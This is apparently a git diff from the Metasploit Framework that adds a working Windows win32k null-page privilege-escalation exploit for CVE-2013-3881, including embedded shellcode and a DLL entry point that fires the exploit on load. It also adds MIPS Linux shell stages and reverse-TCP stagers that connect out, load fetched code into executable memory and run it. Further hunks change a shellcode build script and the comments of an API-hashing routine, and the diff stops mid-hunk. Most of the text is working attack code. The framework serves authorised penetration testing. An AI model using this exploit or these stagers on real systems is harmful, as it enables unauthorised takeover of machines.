"\x83\x7c\x24\x5c\x01" // cmp DWORD PTR [esp+0x5c], 1 + "\x75\x0a" // je short sp1 + /* Service Pack 0 */ + "\x83\xc4\x48" // add esp, 0x48 + "\x5f" // pop edi + "\x5e" // pop esi + "\x5b" // pop ebx + "\x5d" // pop ebp + "\xc2\x04\x00" // ret 4 + /* Service Pack 1 */ + "\x83\xc4\x4c" // add esp 0x4c + "\x5f" // pop edi + "\x5e" // pop esi + "\x83\xc4\x0c" // add esp, 0x0c + "\x5d" // pop ebp + "\xc2\x08\x00"; // ret 8 + +typedef struct _HANDLEENTRY { + struct _HEAD *pHead; + void *pOwner; + UINT8 bType; + UINT8 bFlags; + UINT16 wUniq; +} HANDLEENTRY, *PHANDLEENTRY; + +typedef NTSTATUS (NTAPI *lNtAllocateVirtualMemory)( + IN HANDLE ProcessHandle, + IN PVOID *BaseAddress, + IN PULONG ZeroBits, + IN PSIZE_T RegionSize, + IN ULONG AllocationType, + IN ULONG Protect +); + +typedef NTSTATUS (NTAPI *lNtQueryIntervalProfile)( + IN DWORD ProfileSource, + OUT PULONG Interval +); + +LRESULT CALLBACK WndProc(HWND hwnd, UINT msg, WPARAM wParam, LPARAM lParam) { + return DefWindowProc(hwnd, msg, wParam, lParam); +} + +NTSTATUS AllocateNullPage(void) { + HMODULE hNtdll = NULL; + FARPROC pNtAllocateVirtualMemory = NULL; + DWORD base_address = 1; + SIZE_T region_size = 0x1000; + ULONG zero_bits = 0; + HANDLE current_process = NULL; + NTSTATUS status = 0; + + hNtdll = LoadLibraryA("ntdll"); + pNtAllocateVirtualMemory = (lNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory"); + current_process = GetCurrentProcess(); + status = pNtAllocateVirtualMemory(current_process, &base_address, 0, ®ion_size, (MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN), PAGE_EXECUTE_READWRITE); + FreeLibrary(hNtdll); + return status; +} + +PHANDLEENTRY GetAheList(void) { + HMODULE hUser32 = NULL; + HANDLEENTRY **tagSharedInfo = NULL; + + hUser32 = LoadLibraryA("user32"); + tagSharedInfo = (PHANDLEENTRY *)GetProcAddress(hUser32, "gSharedInfo"); + if (tagSharedInfo == NULL) { + return NULL; + } + return (PHANDLEENTRY)*&tagSharedInfo[1]; +} + +DWORD WINAPI TriggerThread0(void *garbage) { + HMENU menu0; + + SetThreadDesktop(desktop); + window0 = CreateWindow(window_class_name, "Window 0", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL); + menu0 = CreatePopupMenu(); + if (AppendMenu(menu0, (MF_STRING | MF_ENABLED), 32001, "test") == 0) { + return 0; + } + TrackPopupMenu(menu0, TPM_CENTERALIGN, 0, 0, 0, window0, NULL); + return 0; +} + +BOOL WINAPI CreateAndRegisterClass(char * class_name) { + WNDCLASSEX wx; + HINSTANCE hInstance = NULL; + + hInstance = (HINSTANCE)GetModuleHandle(NULL); + if (hInstance == NULL) { + return FALSE; + } + + wx.cbSize = sizeof(WNDCLASSEX); + wx.style = 0; + wx.lpfnWndProc = WndProc; + wx.cbClsExtra = 0; + wx.cbWndExtra = 0; + wx.hInstance = hInstance; + wx.hIcon = LoadIcon(NULL, IDI_APPLICATION); + wx.hCursor = LoadCursor(NULL, IDC_ARROW); + wx.hbrBackground = (HBRUSH)(COLOR_WINDOW+1); + wx.lpszMenuName = NULL; + wx.lpszClassName = class_name; + wx.hIconSm = LoadIcon(NULL, IDI_APPLICATION); + + if (RegisterClassEx(&wx) != 0) { + return TRUE; + } + return FALSE; +} + +DWORD WINAPI ExecutePayload(LPVOID lpPayload) { + VOID(*lpCode)() = (VOID(*)())lpPayload; + lpCode(); + return ERROR_SUCCESS; +} + +void Win32kNullPage(LPVOID lpPayload) { + HMENU menu1 = NULL; + HMENU menu2 = NULL; + HANDLE gdi_handle = NULL; + void *promise_land = NULL; + ULONG interval = 0; + PHANDLEENTRY aheList = NULL; + PHANDLEENTRY target_handle = NULL; + DWORD saved_bytes = 0; + + desktop = CreateDesktop("DontPanic", NULL, NULL, 0, GENERIC_ALL, NULL); + SetThreadDesktop(desktop); + + if (!CreateAndRegisterClass(window_class_name)) { + return; + } + + if (AllocateNullPage() != STATUS_SUCCESS) { + return; + } + *((PDWORD)promise_land + 0) = 0x000004eb; /* jmp 4 */ + *((PDWORD)promise_land + 1) = 0x90909090; /* noooop */ + *((PDWORD)promise_land + 2) = 0x000400b8; /* mov eax, 400 */ + *((PDWORD)promise_land + 3) = 0x90d0ff00; /* call eax */ + *((PDWORD)promise_land + 7) = 0x00; + *((PDWORD)promise_land + 9) = 0x00; + *((PDWORD)promise_land + 12) = 0x00; + *(PDWORD)((PBYTE)promise_land + 0x04eb + 0x04) = (0x0200 - 4); + *(PDWORD)((PBYTE)promise_land + 0x04eb + 0x08) = (0x0200 - 4); + memcpy((PDWORD)promise_land + 256, shellcode, sizeof(shellcode)); + + window1 = CreateWindow(window_class_name, "Window 1", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 240, 120, NULL, NULL, NULL, NULL); + menu1 = CreatePopupMenu(); + menu2 = CreateMenu(); + SetMenu(window1, menu2); + DestroyMenu(menu2); + + aheList = GetAheList(); + *((PDWORD)promise_land + 127) = ((DWORD)menu2 & 0xffff); + *((PDWORD)promise_land + 128) = 0x01; + *((PDWORD)promise_land + 129) = ((((DWORD)menu2 & 0xffff) * 12) + TABLE_BASE + 5) - 0x0104; + + target_handle = &aheList[((DWORD)menu2 & 0xffff)]; + *((PDWORD)promise_land + 512) = ((((DWORD)menu2 & 0xffff) * 12) + TABLE_BASE); + memcpy((PDWORD)promise_land + 513, target_handle, sizeof(HANDLEENTRY)); + + if (AppendMenu(menu1, (MF_STRING | MF_ENABLED), 32001, "test") == 0) { + return; + } + + do { + gdi_handle = CreateMetaFile(NULL); + } while (gdi_handle != NULL); + + CreateThread(NULL, 0, TriggerThread0, NULL, 0, 0); + Sleep(500); + TrackPopupMenu(menu1, TPM_CENTERALIGN, 0, 0, 0, window1, NULL); + CreateThread(0, 0, ExecutePayload, lpPayload, 0, NULL); + return; +} + +BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved) { + BOOL bReturnValue = TRUE; + switch (dwReason) { + case DLL_QUERY_HMODULE: + hAppInstance = hinstDLL; + if (lpReserved != NULL) { + *(HMODULE *)lpReserved = hAppInstance; + } + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + Win32kNullPage(lpReserved); + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +}; diff --git a/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj new file mode 100755 index 0000000000..634f972b10 --- /dev/null +++ b/external/source/exploits/cve-2013-3881/cve-2013-3881/cve-2013-3881.vcxproj @@ -0,0 +1,85 @@ + + + + + Debug + Win32 + + + Release + Win32 + + + + {6DDC29F1-6AC0-4D8B-AA62-E21B0D7E219B} + cve20133881 + + + + DynamicLibrary + true + false + MultiByte + v120 + + + DynamicLibrary + false + false + MultiByte + v120 + + + + + + + + + + + + + ../../../ReflectiveDLLInjection/common;$(IncludePath) + + + ../../../ReflectiveDLLInjection/common;$(IncludePath) + + + + CompileAsC + Level3 + Disabled + true + true + MultiThreaded + + + true + true + $(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt) + + + + + CompileAsC + Level3 + Disabled + true + true + Default + MultiThreaded + + + false + true + $(OutDir)$(TargetName).$(ProcessorArchitecture)$(TargetExt) + + + + + + + + + \ No newline at end of file diff --git a/external/source/exploits/cve-2013-3881/make.msbuild b/external/source/exploits/cve-2013-3881/make.msbuild new file mode 100644 index 0000000000..688fd5ed4c --- /dev/null +++ b/external/source/exploits/cve-2013-3881/make.msbuild @@ -0,0 +1,17 @@ + + + + .\cve-2013-3881.sln + + + + + + + + + + + + + diff --git a/external/source/exploits/make.bat b/external/source/exploits/make.bat index 6981f1f155..a7893e8d85 100755 --- a/external/source/exploits/make.bat +++ b/external/source/exploits/make.bat @@ -40,6 +40,27 @@ IF "%ERRORLEVEL%"=="0" ( POPD ) +IF "%ERRORLEVEL%"=="0" ( + ECHO "Building CVE-2013-3881 (win32k_null_page)" + PUSHD CVE-2013-3881 + msbuild.exe make.msbuild /target:%PLAT% + POPD +) + +IF "%ERRORLEVEL%"=="0" ( + ECHO "Building bypassuac (on-disk)" + PUSHD bypassuac + msbuild.exe make.msbuild /target:%PLAT% + POPD +) + +IF "%ERRORLEVEL%"=="0" ( + ECHO "Building bypassuac (in-memory)" + PUSHD bypassuac_injection + msbuild.exe make.msbuild /target:%PLAT% + POPD +) + FOR /F "usebackq tokens=1,2 delims==" %%i IN (`wmic os get LocalDateTime /VALUE 2^>NUL`) DO IF '.%%i.'=='.LocalDateTime.' SET LDT=%%j SET LDT=%LDT:~0,4%-%LDT:~4,2%-%LDT:~6,2% %LDT:~8,2%:%LDT:~10,2%:%LDT:~12,6% echo Finished %ldt% diff --git a/external/source/shellcode/linux/mips/stage_tcp_shell.s b/external/source/shellcode/linux/mips/stage_tcp_shell.s new file mode 100644 index 0000000000..bbe9086fe5 --- /dev/null +++ b/external/source/shellcode/linux/mips/stage_tcp_shell.s @@ -0,0 +1,75 @@ +## +# +# Name: stage_tcp_shell +# Type: Stage +# Qualities: Compatible with both mips little and big endian +# Platforms: Linux +# Authors: juan vazquez +# License: +# +# This file is part of the Metasploit Exploit Framework +# and is subject to the same licenses and copyrights as +# the rest of this package. +# +# Description: +# +# This payload duplicates stdio, stdin and stderr to a file descriptor, +# stored on $s2, and executes /bin/sh. +# +# Assemble and create a relocatable object with: +# as -o stage_tcp_shell.o stage_tcp_shell.s +# +# Assemble, link and create an executable ELF with: +# gcc -o stage_tcp_shell stage_tcp_shell.s +# +# The tool "tools/metasm_shell.rb" can be used to easily +# generate the string to place on: +# modules/payloads/stages/linux/mipsle/shell.rb +# and: +# modules/payloads/stages/linux/mipsbe/shell.rb +## + .text + .align 2 + .globl main + .set nomips16 +main: + .set noreorder + .set nomacro + + # dup2(sockfd, 2) + # dup2(sockfd, 1) + # dup2(sockfd, 0) + # a0: oldfd (sockfd) + # a1: newfd (2, 1, 0) + # v0: syscall = __NR_dup2 (4063) + li $s1, -3 + nor $s1, $s1, $zero + add $a0, $s2, $zero +dup2_loop: + add $a1, $s1, $zero # dup2_loop + li $v0, 4063 # sys_dup2 + syscall 0x40404 + li $s0, -1 + addi $s1, $s1, -1 + bne $s1, $s0, dup2_loop # + + # execve("/bin/sh", ["/bin/sh"], NULL) + # a0: filename "/bin/sh" + # a1: argv ["/bin/sh", NULL] + # a2: envp NULL + # v0: syscall = __NR_dup2 (4011) + li $t8, -1 # load t8 with -1 +getaddr: # getaddr trick from scut@team-teso.net + bltzal $t8, getaddr # branch with $ra stored if t8 < 0 + slti $t8, $zero, -1 # delay slot instr: $t8 = 0 (see below) + addi $a0, $ra, 28 # $ra gets this address + sw $a0, -8($sp) + sw $zero, -4($sp) + addi $a1, $sp, -8 + slti $a2, $zero,-1 + li $v0, 4011 # sys_execve + syscall 0x40404 + + .string "/bin/sh" + .set macro + .set reorder diff --git a/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s b/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s new file mode 100644 index 0000000000..9aba45eea7 --- /dev/null +++ b/external/source/shellcode/linux/mipsbe/stager_sock_reverse.s @@ -0,0 +1,127 @@ +## +# +# Name: stager_sock_reverse +# Type: Stager +# Qualities: No Nulls out of the IP / Port data +# Platforms: Linux MIPS Big Endian +# Authors: juan vazquez +# License: +# +# This file is part of the Metasploit Exploit Framework +# and is subject to the same licenses and copyrights as +# the rest of this package. +# +# Description: +# +# Implementation of a MIPS BE Linux reverse TCP stager. +# +# File descriptor in $s2. +# +# Assemble and create a relocatable object with: +# as -o stager_sock_reverse.o stager_sock_reverse.s +# +# Assemble, link and create an executable ELF with: +# gcc -o stager_sock_reverse stager_sock_reverse.s +# +# The tool "tools/metasm_shell.rb" can be used to easily +# generate the string to place on: +# modules/payloads/stagers/linux/mipsbe/reverse_tcp.rb +## + .text + .align 2 + .globl main + .set nomips16 +main: + .set noreorder + .set nomacro + + # socket(PF_INET, SOCK_STREAM, IPPROTO_IP) + # a0: domain = PF_INET (2) + # a1: type = SOCK_STREAM (2) + # a2: protocol = IPPROTO_IP (0) + # v0: syscall = __NR_socket (4183) + li $t7, -6 + nor $t7, $t7, $zero + addi $a0, $t7, -3 + addi $a1, $t7, -3 + slti $a2, $zero, -1 + li $v0, 4183 + syscall 0x40404 + sw $v0, -4($sp) # store the file descriptor for the socket on the stack + + # connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16) + # a0: sockfd + # a1: addr = AF_INET (2) + # a2: addrlen = 16 + # v0: syscall = __NR_connect (4170) + lw $a0, -4($sp) + li $t7, -3 + nor $t7, $t7, $zero + sw $t7, -32($sp) + lui $t6, 0x115c + sw $t6, -28($sp) + lui $t6, 0x7f00 # ip + ori $t6, $t6, 0x0001 # ip + sw $t6, -26($sp) + addiu $a1, $sp, -30 + li $t4, -17 + nor $a2, $t4, $zero + li $v0, 4170 + syscall 0x40404 + + # mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) + # a0: addr = -1 + # a1: lenght = 4096 + # a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7) + # a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050) + # sp(16): fd = -1 + # sp(20): offset = 0 + # v0: syscall = __NR_mmap (4090) + li $a0, -1 + li $a1, 4097 + addi $a1, $a1, -1 + li $t1, -8 + nor $t1, $t1, $0 + add $a2, $t1, $0 + li $a3, 2050 + li $t3, -22 + nor $t3, $t3, $zero + add $t3, $sp, $t3 + sw $0, -1($t3) # Doesn't use $sp directly to avoid nulls + sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls + li $v0, 4090 + syscall 0x40404 + sw $v0, -8($sp) # Stores the mmap'ed address on the stack + + # read(sockfd, addr, 4096) + # a0: sockfd + # a1: addr + # a2: len = 4096 + # v0: syscall = __NR_read (4003) + lw $a0, -4($sp) + lw $a1, -8($sp) + li $a2, 4097 + addi $a2, $a2, -1 + li $v0, 4003 + syscall 0x40404 + + # cacheflush(addr, nbytes, DCACHE) + # a0: addr + # a1: nbytes + # a2: cache = DCACHE (2) + # v0: syscall = __NR_read (4147) + lw $a0, -8($sp) + add $a1, $v0, $zero + li $t1, -3 + nor $t1, $t1, $0 + add $a2, $t1, $0 + li $v0, 4147 + syscall 0x40404 + + # jmp to the stage + lw $s1, -8($sp) + lw $s2, -4($sp) + jalr $s1 + + .set macro + .set reorder diff --git a/external/source/shellcode/linux/mipsle/stager_sock_reverse.s b/external/source/shellcode/linux/mipsle/stager_sock_reverse.s new file mode 100644 index 0000000000..42083452af --- /dev/null +++ b/external/source/shellcode/linux/mipsle/stager_sock_reverse.s @@ -0,0 +1,127 @@ +## +# +# Name: stager_sock_reverse +# Type: Stager +# Qualities: No Nulls out of the IP / Port data +# Platforms: Linux MIPS Little Endian +# Authors: juan vazquez +# License: +# +# This file is part of the Metasploit Exploit Framework +# and is subject to the same licenses and copyrights as +# the rest of this package. +# +# Description: +# +# Implementation of a MIPS LE Linux reverse TCP stager. +# +# File descriptor in $s2. +# +# Assemble and create a relocatable object with: +# as -o stager_sock_reverse.o stager_sock_reverse.s +# +# Assemble, link and create an executable ELF with: +# gcc -o stager_sock_reverse stager_sock_reverse.s +# +# The tool "tools/metasm_shell.rb" can be used to easily +# generate the string to place on: +# modules/payloads/stagers/linux/mipsle/reverse_tcp.rb +## + .text + .align 2 + .globl main + .set nomips16 +main: + .set noreorder + .set nomacro + + # socket(PF_INET, SOCK_STREAM, IPPROTO_IP) + # a0: domain = PF_INET (2) + # a1: type = SOCK_STREAM (2) + # a2: protocol = IPPROTO_IP (0) + # v0: syscall = __NR_socket (4183) + li $t7, -6 + nor $t7, $t7, $zero + addi $a0, $t7, -3 + addi $a1, $t7, -3 + slti $a2, $zero, -1 + li $v0, 4183 + syscall 0x40404 + sw $v0, -4($sp) # store the file descriptor for the socket on the stack + + # connect(sockfd, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("192.168.172.1")}, 16) + # a0: sockfd + # a1: addr = AF_INET (2) + # a2: addrlen = 16 + # v0: syscall = __NR_connect (4170) + lw $a0, -4($sp) + li $t7, -3 + nor $t7, $t7, $zero + sw $t7, -30($sp) + ori $t6, $zero, 0x5c11 # port + sw $t6, -28($sp) + lui $t6, 0x100 # ip + ori $t6, $t6, 0x7f # ip + sw $t6, -26($sp) + addiu $a1, $sp, -30 + li $t4, -17 + nor $a2, $t4, $zero + li $v0, 4170 + syscall 0x40404 + + # mmap(0xffffffff, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) + # a0: addr = -1 + # a1: lenght = 4096 + # a2: prot = PROT_READ|PROT_WRITE|PROT_EXEC (7) + # a3: flags = MAP_PRIVATE|MAP_ANONYMOUS (2050) + # sp(16): fd = -1 + # sp(20): offset = 0 + # v0: syscall = __NR_mmap (4090) + li $a0, -1 + li $a1, 4097 + addi $a1, $a1, -1 + li $t1, -8 + nor $t1, $t1, $0 + add $a2, $t1, $0 + li $a3, 2050 + li $t3, -22 + nor $t3, $t3, $zero + add $t3, $sp, $t3 + sw $0, -1($t3) # Doesn't use $sp directly to avoid nulls + sw $2, -5($t3) # Doesn't use $sp directly to avoid nulls + li $v0, 4090 + syscall 0x40404 + sw $v0, -8($sp) # Stores the mmap'ed address on the stack + + # read(sockfd, addr, 4096) + # a0: sockfd + # a1: addr + # a2: len = 4096 + # v0: syscall = __NR_read (4003) + lw $a0, -4($sp) + lw $a1, -8($sp) + li $a2, 4097 + addi $a2, $a2, -1 + li $v0, 4003 + syscall 0x40404 + + # cacheflush(addr, nbytes, DCACHE) + # a0: addr + # a1: nbytes + # a2: cache = DCACHE (2) + # v0: syscall = __NR_read (4147) + lw $a0, -8($sp) + add $a1, $v0, $zero + li $t1, -3 + nor $t1, $t1, $0 + add $a2, $t1, $0 + li $v0, 4147 + syscall 0x40404 + + # jmp to the stage + lw $s1, -8($sp) + lw $s2, -4($sp) # sockfd saved on $s2 + jalr $s1 + + .set macro + .set reorder diff --git a/external/source/shellcode/windows/stager_bind_ipv6_tcp_nx.asm b/external/source/shellcode/windows/stager_bind_ipv6_tcp_nx.asm index 34be67e4e0..afc55b9410 100644 --- a/external/source/shellcode/windows/stager_bind_ipv6_tcp_nx.asm +++ b/external/source/shellcode/windows/stager_bind_ipv6_tcp_nx.asm @@ -1,6 +1,6 @@ ; Title: Windows Bind Stager (NX, IPv6) ; Platforms: Windows NT 4.0, Windows 2000, Windows XP, Windows 2003 -; Author: Rapid7 LLC +; Author: Rapid7, Inc [BITS 32] diff --git a/external/source/shellcode/windows/stager_reverse_ipv6_tcp_nx.asm b/external/source/shellcode/windows/stager_reverse_ipv6_tcp_nx.asm index 241a3a6c6d..910e45dcbc 100644 --- a/external/source/shellcode/windows/stager_reverse_ipv6_tcp_nx.asm +++ b/external/source/shellcode/windows/stager_reverse_ipv6_tcp_nx.asm @@ -1,6 +1,6 @@ ; Title: Windows Reverse Connect Stager (NX, IPv6) ; Platforms: Windows NT 4.0, Windows 2000, Windows XP, Windows 2003, Windows Vista -; Author: Rapid7 LLC +; Author: Rapid7, Inc [BITS 32] diff --git a/external/source/shellcode/windows/x86/build.py b/external/source/shellcode/windows/x86/build.py index 31eaa848c8..93e1bf59b5 100644 --- a/external/source/shellcode/windows/x86/build.py +++ b/external/source/shellcode/windows/x86/build.py @@ -1,124 +1,128 @@ -#=============================================================================# -# A simple python build script to build the singles/stages/stagers and -# some usefull information such as offsets and a hex dump. The binary output -# will be placed in the bin directory. A hex string and usefull comments will -# be printed to screen. -# -# Example: -# >python build.py stager_reverse_tcp_nx -# -# Example, to build everything: -# >python build.py all > build_output.txt -# -# Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) -#=============================================================================# -import os, sys, time -from subprocess import Popen -from struct import pack -#=============================================================================# -def clean( dir="./bin/" ): - for root, dirs, files in os.walk( dir ): - for name in files: - os.remove( os.path.join( root, name ) ) -#=============================================================================# -def locate( src_file, dir="./src/" ): - for root, dirs, files in os.walk( dir ): - for name in files: - if src_file == name: - return root - return None -#=============================================================================# -def build( name ): - location = locate( "%s.asm" % name ) - if location: - input = os.path.normpath( os.path.join( location, name ) ) - output = os.path.normpath( os.path.join( "./bin/", name ) ) - p = Popen( ["nasm", "-f bin", "-O3", "-o %s.bin" % output, "%s.asm" % input ] ) - p.wait() - xmit( name ) - else: - print "[-] Unable to locate '%s.asm' in the src directory" % name -#=============================================================================# -def xmit_dump_ruby( data, length=16 ): - dump = "" - for i in xrange( 0, len( data ), length ): - bytes = data[ i : i+length ] - hex = "\"%s\"" % ( ''.join( [ "\\x%02X" % ord(x) for x in bytes ] ) ) - if i+length <= len(data): - hex += " +" - dump += "%s\n" % ( hex ) - print dump -#=============================================================================# -def xmit_offset( data, name, value ): - offset = data.find( value ); - if offset != -1: - print "# %s Offset: %d" % ( name, offset ) -#=============================================================================# -def xmit( name, dump_ruby=True ): - bin = os.path.normpath( os.path.join( "./bin/", "%s.bin" % name ) ) - f = open( bin, 'rb') - data = f.read() - print "# Name: %s\n# Length: %d bytes" % ( name, len( data ) ) - xmit_offset( data, "Port", pack( ">H", 4444 ) ) # 4444 - xmit_offset( data, "LEPort", pack( "L", 0x7F000001 ) ) # 127.0.0.1 - xmit_offset( data, "IPv6Host", pack( "H", 0x1122 ) ) # Egg tag size - xmit_offset( data, "RC4Key", "RC4KeyMetasploit") # RC4 key - xmit_offset( data, "XORKey", "XORK") # XOR key - if( name.find( "egghunter" ) >= 0 ): - null_count = data.count( "\x00" ) - if( null_count > 0 ): - print "# Note: %d NULL bytes found." % ( null_count ) - if dump_ruby: - xmit_dump_ruby( data ) #=============================================================================# -def main( argv=None ): - if not argv: - argv = sys.argv - try: - if len( argv ) == 1: - print "Usage: build.py [clean|all|]" - else: - print "# Built on %s\n" % ( time.asctime( time.localtime() ) ) - if argv[1] == "clean": - clean() - elif argv[1] == "all": - for root, dirs, files in os.walk( "./src/egghunter/" ): - for name in files: - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/migrate/" ): - for name in files: - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/single/" ): - for name in files: - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/stage/" ): - for name in files: - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/stager/" ): - for name in files: - build( name[:-4] ) - for root, dirs, files in os.walk( "./src/kernel/" ): - for name in files: - build( name[:-4] ) - else: - build( argv[1] ) - except Exception, e: - print "[-] ", e -#=============================================================================# -if __name__ == "__main__": - main() +# A simple python build script to build the singles/stages/stagers and +# some usefull information such as offsets and a hex dump. The binary output +# will be placed in the bin directory. A hex string and usefull comments will +# be printed to screen. +# +# Example: +# >python build.py stager_reverse_tcp_nx +# +# Example, to build everything: +# >python build.py all > build_output.txt +# +# Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) #=============================================================================# +import os, sys, time +from subprocess import Popen +from struct import pack +#=============================================================================# +def clean( dir="./bin/" ): + for root, dirs, files in os.walk( dir ): + for name in files: + os.remove( os.path.join( root, name ) ) +#=============================================================================# +def locate( src_file, dir="./src/" ): + for root, dirs, files in os.walk( dir ): + for name in files: + if src_file == name: + return root + return None +#=============================================================================# +def build( name ): + location = locate( "%s.asm" % name ) + if location: + input = os.path.normpath( os.path.join( location, name ) ) + output = os.path.normpath( os.path.join( "./bin/", name ) ) + p = Popen( ["nasm", "-f bin", "-O3", "-o %s.bin" % output, "%s.asm" % input ] ) + p.wait() + xmit( name ) + else: + print "[-] Unable to locate '%s.asm' in the src directory" % name + +#=============================================================================# +def xmit_dump_ruby( data, length=16 ): + dump = "" + for i in xrange( 0, len( data ), length ): + bytes = data[ i : i+length ] + hex = "\"%s\"" % ( ''.join( [ "\\x%02X" % ord(x) for x in bytes ] ) ) + if i+length <= len(data): + hex += " +" + dump += "%s\n" % ( hex ) + print dump + +#=============================================================================# +def xmit_offset( data, name, value, match_offset=0 ): + offset = data.find( value ); + if offset != -1: + print "# %s Offset: %d" % ( name, offset + match_offset ) + +#=============================================================================# +def xmit( name, dump_ruby=True ): + bin = os.path.normpath( os.path.join( "./bin/", "%s.bin" % name ) ) + f = open( bin, 'rb') + data = f.read() + print "# Name: %s\n# Length: %d bytes" % ( name, len( data ) ) + xmit_offset( data, "Port", pack( ">H", 4444 ) ) # 4444 + xmit_offset( data, "LEPort", pack( "L", 0x7F000001 ) ) # 127.0.0.1 + xmit_offset( data, "IPv6Host", pack( "H", 0x1122 ) ) # Egg tag size + xmit_offset( data, "RC4Key", "RC4KeyMetasploit") # RC4 key + xmit_offset( data, "XORKey", "XORK") # XOR key + if( name.find( "egghunter" ) >= 0 ): + null_count = data.count( "\x00" ) + if( null_count > 0 ): + print "# Note: %d NULL bytes found." % ( null_count ) + if dump_ruby: + xmit_dump_ruby( data ) + +#=============================================================================# +def main( argv=None ): + if not argv: + argv = sys.argv + try: + if len( argv ) == 1: + print "Usage: build.py [clean|all|]" + else: + print "# Built on %s\n" % ( time.asctime( time.localtime() ) ) + if argv[1] == "clean": + clean() + elif argv[1] == "all": + for root, dirs, files in os.walk( "./src/egghunter/" ): + for name in files: + build( name[:-4] ) + for root, dirs, files in os.walk( "./src/migrate/" ): + for name in files: + build( name[:-4] ) + for root, dirs, files in os.walk( "./src/single/" ): + for name in files: + build( name[:-4] ) + for root, dirs, files in os.walk( "./src/stage/" ): + for name in files: + build( name[:-4] ) + for root, dirs, files in os.walk( "./src/stager/" ): + for name in files: + build( name[:-4] ) + for root, dirs, files in os.walk( "./src/kernel/" ): + for name in files: + build( name[:-4] ) + else: + build( argv[1] ) + except Exception, e: + print "[-] ", e +#=============================================================================# +if __name__ == "__main__": + main() +#=============================================================================# diff --git a/external/source/shellcode/windows/x86/src/block/block_api.asm b/external/source/shellcode/windows/x86/src/block/block_api.asm index 2acc13ddec..3b7a85d82e 100644 --- a/external/source/shellcode/windows/x86/src/block/block_api.asm +++ b/external/source/shellcode/windows/x86/src/block/block_api.asm @@ -23,7 +23,7 @@ api_call: mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list next_mod: ; mov esi, [edx+40] ; Get pointer to modules name (unicode string) - movzx ecx, word [edx+38] ; Set ECX to the length we want to check + movzx ecx, word [edx+38] ; Set ECX to the length we want to check xor edi, edi ; Clear EDI which will store the hash of the module name loop_modname: ; xor eax, eax ; Clear EAX @@ -34,22 +34,25 @@ loop_modname: ; not_lowercase: ; ror edi, 13 ; Rotate right our hash value add edi, eax ; Add the next byte of the name - loop loop_modname ; Loop untill we have read enough + loop loop_modname ; Loop until we have read enough + ; We now have the module hash computed push edx ; Save the current position in the module list for later push edi ; Save the current module hash for later - ; Proceed to itterate the export address table, + ; Proceed to iterate the export address table, mov edx, [edx+16] ; Get this modules base address mov eax, [edx+60] ; Get PE header - add eax, edx ; Add the modules base address - mov eax, [eax+120] ; Get export tables RVA - test eax, eax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add eax, edx ; Add the modules base address - push eax ; Save the current modules EAT - mov ecx, [eax+24] ; Get the number of function names - mov ebx, [eax+32] ; Get the rva of the function names + + ; use ecx as our EAT pointer here so we can take advantage of jecxz. + mov ecx, [eax+edx+120] ; Get the EAT from the PE header + jecxz get_next_mod1 ; If no EAT present, process the next module + add ecx, edx ; Add the modules base address + push ecx ; Save the current modules EAT + mov ebx, [ecx+32] ; Get the rva of the function names add ebx, edx ; Add the modules base address + mov ecx, [ecx+24] ; Get the number of function names + ; now ecx returns to its regularly scheduled counter duties + ; Computing the module hash + function hash get_next_func: ; jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module @@ -66,14 +69,15 @@ loop_funcname: ; cmp al, ah ; Compare AL (the next byte from the name) to AH (null) jne loop_funcname ; If we have not reached the null terminator, continue add edi, [ebp-8] ; Add the current module hash to the function hash - cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for + cmp edi, [ebp+36] ; Compare the hash to the one we are searching for jnz get_next_func ; Go compute the next function hash if we have not found it + ; If found, fix up stack, call the function and then value else compute the next one... pop eax ; Restore the current modules EAT - mov ebx, [eax+36] ; Get the ordinal table rva + mov ebx, [eax+36] ; Get the ordinal table rva add ebx, edx ; Add the modules base address mov cx, [ebx+2*ecx] ; Get the desired functions ordinal - mov ebx, [eax+28] ; Get the function addresses table rva + mov ebx, [eax+28] ; Get the function addresses table rva add ebx, edx ; Add the modules base address mov eax, [ebx+4*ecx] ; Get the desired functions RVA add eax, edx ; Add the modules base address to get the functions actual VA @@ -88,10 +92,11 @@ finish: push ecx ; Push back the correct return value jmp eax ; Jump into the required function ; We now automagically return to the correct caller... + get_next_mod: ; pop eax ; Pop off the current (now the previous) modules EAT get_next_mod1: ; pop edi ; Pop off the current (now the previous) modules hash pop edx ; Restore our position in the module list mov edx, [edx] ; Get the next module - jmp short next_mod ; Process this module \ No newline at end of file + jmp short next_mod ; Process this module diff --git a/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm b/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm index 42c717622a..20c4f643e6 100644 --- 